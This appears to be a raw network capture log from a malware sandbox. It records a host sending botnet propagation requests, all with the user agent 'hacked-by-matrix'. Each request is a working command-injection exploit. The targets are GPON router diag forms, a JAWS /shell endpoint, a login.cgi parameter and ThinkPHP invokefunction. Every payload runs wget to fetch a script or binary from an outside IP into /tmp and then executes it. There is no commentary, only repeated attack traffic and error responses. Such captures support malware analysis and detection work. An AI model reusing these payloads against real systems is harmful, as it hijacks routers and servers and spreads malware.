Mar 21, 2024 05:23:46.888664007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2239	192.168.2.13	49172	212.201.220.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888670921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2240	192.168.2.13	42958	109.152.121.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888680935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2241	192.168.2.13	57476	118.50.222.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888706923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2242	192.168.2.13	57712	212.139.120.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888729095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2243	192.168.2.13	43890	212.174.226.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888772011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2244	192.168.2.13	37044	42.38.157.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888776064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2245	192.168.2.13	33114	118.13.3.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888778925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2246	192.168.2.13	45794	212.140.79.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888794899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2247	192.168.2.13	42638	118.238.179.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888802052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2248	192.168.2.13	40260	109.24.49.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888820887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2249	192.168.2.13	39090	213.183.200.228	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.325448036 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:47.511049986 CET	302	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:47 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: IntareS-HACL Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2250	192.168.2.13	57122	23.210.231.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.337281942 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:47.951206923 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:48.141074896 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:23:48 GMT Date: Thu, 21 Mar 2024 04:23:48 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 38 36 33 34 31 30 36 30 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 38 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.86341060.1710995028.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2251	192.168.2.13	34158	212.47.237.55	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.695523024 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.221359015 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.380906105 CET	495	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2252	192.168.2.13	46930	89.168.122.197	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.715398073 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
2253	192.168.2.13	47024	212.237.200.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.720577955 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:47.914326906 CET	292	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:47 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2254	192.168.2.13	40582	212.150.186.224	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.751935959 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:47.971606016 CET	435	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:36:11 GMT Server: Apache/2.4.37 (centos) OpenSSL/1.1.1c Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2255	192.168.2.13	40400	95.100.62.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.752002954 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:47.936320066 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:23:47 GMT Date: Thu, 21 Mar 2024 04:23:47 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 35 31 36 31 35 30 32 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 37 26 23 34 36 3b 66 63 37 63 66 66 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.25161502.1710995027.fc7cff2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2256	192.168.2.13	54898	95.217.215.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.758948088 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.365485907 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.973500013 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:49.164431095 CET	40	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
2257	192.168.2.13	54502	95.214.134.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.766999960 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.405385971 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.612539053 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Thu, 21 Mar 2024 04:23:48 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 